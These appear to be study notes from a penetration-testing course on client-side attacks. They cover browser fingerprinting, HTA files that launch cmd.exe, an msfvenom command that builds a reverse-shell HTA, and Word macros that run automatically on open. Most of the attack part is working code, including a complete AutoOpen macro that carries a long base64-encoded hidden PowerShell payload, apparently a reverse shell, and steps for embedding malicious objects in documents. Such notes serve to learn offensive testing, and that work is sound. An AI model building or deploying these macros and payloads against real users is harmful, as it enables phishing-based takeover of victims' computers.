Client-Side Attacks

Introduction

we seek to exploit user like XSS

Know your target

Passive Client Information Gathering
- identifying the victim’s browser
Active Client Information Gathering
- social engineering and client-side attacks

Leveraging HTML Applications

Exploring HTML app

wget <https://github.com/Valve/fingerprintjs2/archive/master.zip>
unzip master.zip
sudo mv fingerprintjs-maaster /var/www/html/fp # move it and rename
sudo systemctl start apache2

to know the information of browser

https://www.whatismybrowser.com/

HTA attack in Action

<!DOCTYPE html>
<html lang="en">
<body>
  <script>
    var x="cmd.exe"
    new ActiveXObject('WScript.shell').Run(x)
  </script>
</body>
</html>

which this code is saved on code.hta , hta→ just running on internet explorer

Take Reverse shell

sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.6 LPORT=4444 -f hta-psh -o /var/www/html/fp/playground/evil.hta

# hta-psh -> to identify format of file is hta

Microsoft Word Attack

Macros

which use to automate any task

Sub test1()

CreateObject("WScript.Shell").Run "cmd.exe"

End Sub
# which we use it to run cmd by Macros

Sub AutoOpen()
test1
End Sub
Sub Doc()
test1
End Sub
Sub test1()

CreateObject("WScript.Shell").Run "cmd.exe"

End Sub
# when u open word file the cmd auto open

then we create a reverse shell payload and divide it to parts by python

so let’s copy the output and past it in macros

Sub AutoOpen()
test1
End Sub
Sub Doc()
test1
End Sub
Sub test1()

Dim Str As String # to define string in Marcos

Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
Str = Str + "kAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnA"
Str = Str + "H0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGk"
Str = Str + "AcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8Ad"
Str = Str + "wBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcAB"
Str = Str + "vAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9A"
Str = Str + "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQ"
Str = Str + "AaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAU"
Str = Str + "wB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQB"
Str = Str + "tAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9A"
Str = Str + "CcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACA"
Str = Str + "AJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAc"
Str = Str + "gBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB"
Str = Str + "5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkA"
Str = Str + "GUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGU"
Str = Str + "AbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAe"
Str = Str + "gBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQB"
Str = Str + "jAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5A"
Str = Str + "FMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4"
Str = Str + "AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAd"
Str = Str + "AByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEAewAxAH0AagB"
Str = Str + "uADYAMgBjAEMAQQA3AFYAewAyAH0AYgB7ADIAfQAvAGkATwBCA"
Str = Str + "EQAKwB2AHQATAAnACcAKwAnACcAKwBoADIAaQBGAGwARQBTAGk"
Str = Str + "AdgBKAFgAYgBiAGkAdQB0AGQAQQBtAHYAbwBhAFEARgBVAGsAS"
Str = Str + "wBCAFEAeQBjADMAYwBSAEsARABpAHsAMgB9AG4AaQA4AEwAYQA"
Str = Str + "zAC8ALwAzAEcAawAnACcAKwAnACcATABSAFUAYgBlADkANgBKA"
Str = Str + "DYAMABsAFIARABLAGUARwBZACsAZgBlAHsAMgAnACcAKwAnACc"
Str = Str + "AfQBZAG0AWABoAEkANgBuAEwAQgBRAGUAbgB6ADgASgB2ADMAN"
Str = Str + "AAvAEUAbABLAFYAdwA5AEYAYQBDAGsAcABPAFUAUgBJAFgAcwB"
Str = Str + "xAHQAdwBvADEAdgBxAGMAKwA3AHUAZABDAFIAdgBrAHYASwBWA"
Str = Str + "EYAdQB0ADYAbQB5AEoAUwBEAGkANwB1AHEAbwBsAFUAWQBSAEQ"
Str = Str + "AZgBuAHcAdgB0AEQARABYADQAaABnAHYASAB5AGoAQgBzAGEAS"
Str = Str + "gBLAGYAMABtAGoAQQBFAGYANAA3AFAAWgBoAGoAaAAwAHUALwB"
Str = Str + "aAEIAeQBmAHgAWgBhAGwARAAwAGcAbQBxAHIAdABhAHMAZwBKA"
Str = Str + "HMASABTAG0AaABhADcAWQA2AHoASQBIAGkAYgBnAEsAMQBvAG8"
Str = Str + "AUwByAHMAaAAvAC8AQwBHAHIAMAA3AFAAeQByAHsAMQB9AEIAN"
Str = Str + "ABUAEIAQwB7ADEAfQBGAGQAbgBhAHgAUgB3AHYAQwB5ADYAbAB"
Str = Str + "zAGkAcgA5AFYATQB7ADIAfQBCAGQANwBzAFYAVgBtAFMAVABPA"
Str = Str + "EIARwBMAG0AYwBjAEwASQB4AEsAZQBWAHcAcgBEAE0ARQBZAGU"
Str = Str + "AdgAnACcAKwAnACcAZwBGAHYAYQAyAHgAaQBIAGoAQQAzAGwAd"
Str = Str + "QBFAHEAegA1AGUASgBNAEUAKwBpAFUAewAxAH0AeABKAE8ARAB"
Str = Str + "tAHEAJwAnACsAJwAnAEsARABJADgAOQBpAEwAbQBhAEsANABiA"
Str = Str + "DQAVABpAHsAMgB9ADgAOQBKAFUAdQBKAC8ATwBaAHIAOAByADA"
Str = Str + "ALwBUAHMAUQBSAEoAeQBzAHMAUQBGAEkAKwBRADQAWQBpAHMAT"
Str = Str + "ABSADIAdgBpADQATABqAFEAUgBxAEYATAA4AFEAQgA3AE0ANwB"
Str = Str + "DAHkAZQBFAFIAQwBmADYAYQBxACcAJwArACcAJwBvAEwAWgBtA"
Str = Str + "EMANgB6AGsAdwBvAFQAUwB2AFAAUgBmADMAQwBnADMAZQBKAE0"
Str = Str + "AaAA5ADEARQBqADUAZABRAEkAdABIAG8AOABVAHYATwBRADAAR"
Str = Str + "gBlADMAewAxAH0ASgBtAGIAVQBIAHkAMABrADkAOABJAFUAMQA"
Str = Str + "nACcAKwAnACcAQgBBAGgAZgBWAEUAQQB3AEQAdgBwADgARABQA"
Str = Str + "HkANgBnAHoAWAA5AHQAdgBVAE8AZABaACcAJwArACcAJwBrAEs"
Str = Str + "AMwBwAFkAUQBkAEQAdwBFAHEAUAB4AGUAUgBnACsAMQAwAHEAN"
Str = Str + "QBTAFUAVABEAGsAZQBjAFIAVAB0ADQAegBkADEARgBDAFYAWgB"
Str = Str + "uAFQAMwBCAEwATwBUAGIATwBmADkAUgBYAE8AVABNAEUAcwB5A"
Str = Str + "DMARgBEAEUAUgBUAG0AeABGADMAJwAnACsAJwAnADkAdQB6AGc"
Str = Str + "AUgBlAHAAegBtADkASwBsADAASABtAGYAeAAzAFgAcwBrAFIAR"
Str = Str + "ABYAGQAeQBGAGEARQBpAGUAagBxAHYASgB7ADIAfQBRAHIAQgB"
Str = Str + "IADgAUQBHAFAAUQBxAFoAMgBBAHcARQBxAGMAcgBxAEIAMwBUA"
Str = Str + "HEAbQAyAEUAZABjAGcAQwB4ADQAOABjAHEAcwBzAFMAVAA4AHk"
Str = Str + "AVgBaAFAAQwBIAFYAeABwAEQAbQBRADEAQgBpAGkAZwBuAHkAJ"
Str = Str + "wAnACsAJwAnAHIATAA0AE0ANQA1AGsAMgBSAGoAZABEAEUAUwA"
Str = Str + "4AEQAdQArAEEANQBFAHoAWABsAFEASQBEAGoAVABUAG8AdABpA"
Str = Str + "GwANQAwAHUAMwBrAEYASgByAGwARQBVAHgAMwBtAHAAbAAwAEM"
Str = Str + "ARgBPAG4AbgBKAHcAbwBoAGkAewAxAH0AeQA5AHAAWQBVAHoAU"
Str = Str + "wBMAFMAMwBoADcAUABBAG8AUAA0AGQAcgBKAHAAUQBUAEIAOAB"
Str = Str + "VADgAYwB6AGQAVABYADYASwBaAG4AbABwAGoAWQBjAHkAagB4A"
Str = Str + "EkARwBrAEEAZwBKADMAMQBnAG8ANwBCAEYARQBCAFMARgA1AHE"
Str = Str + "ARQB4AGYAcgBPADQAdgA0ADIAZQBuAHkAbQAzAEQAVQBFAEsAV"
Str = Str + "gBRAE8AZQBCAHAARABlAGsAQQBpAFkARABCADQAbwBJAHEARQB"
Str = Str + "RAFEASwB0AEYAQQBMAEYAdQBiAEcAYwBrAFgAeABFAGoAUQBPA"
Str = Str + "DcAYQBKAEoAawBRAC8AewAxAH0ASQBhADIATwBBADcATwBRAGo"
Str = Str + "AMQAnACcAKwAnACcAMwA1ADcAUwBpAHoASwBqAGgAUwBYAHEAQ"
Str = Str + "wBTAHcAWABFAFMASQA2AFQAYQBvAG8AegBuAEoAWgB0AEUASAB"
Str = Str + "IAHEAUABRAEYAaAB3ADYAMwArAEUAOABMAHIAbgBpAEYAaABxA"
Str = Str + "EUAVQA3AHoAbwBtAFMAbAB7ADEAfQBkAFYAMwBYAEoAQQAvADU"
Str = Str + "AdwBVAFQAdwBjADgAVQBuAFEATQB7ADIAfQBFAFEAYwBjAG0Aa"
Str = Str + "ABGAGIANgBpAGoARwBYADYAdgBIAC8AcQBKADgASwBkACcAJwA"
Str = Str + "rACcAJwA2AFMAbQBnAFoAcgBiAEkAVABVAGQAUABRAEYASwB7A"
Str = Str + "DIAfQBzAGIAVQBqAFoATQArAEEAMwBKAHUAYwBIAHEARgArADU"
Str = Str + "AMQBaADkANAAnACcAKwAnACcAdQBSAHYAVgB0ADQARwBsAEcAY"
Str = Str + "gBKAGoAJwAnACsAJwAnAHQAWAByADMAZgBiAGwAZgBYAEg"
CreateObject("WScript.Shell").Run Str # replace cmd.exe with the payload 

End Sub

object linking and embedding

insert malicious file in word file

insert -> object -> create from file -> browse
# which this file has a shell

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Last updated 3 months ago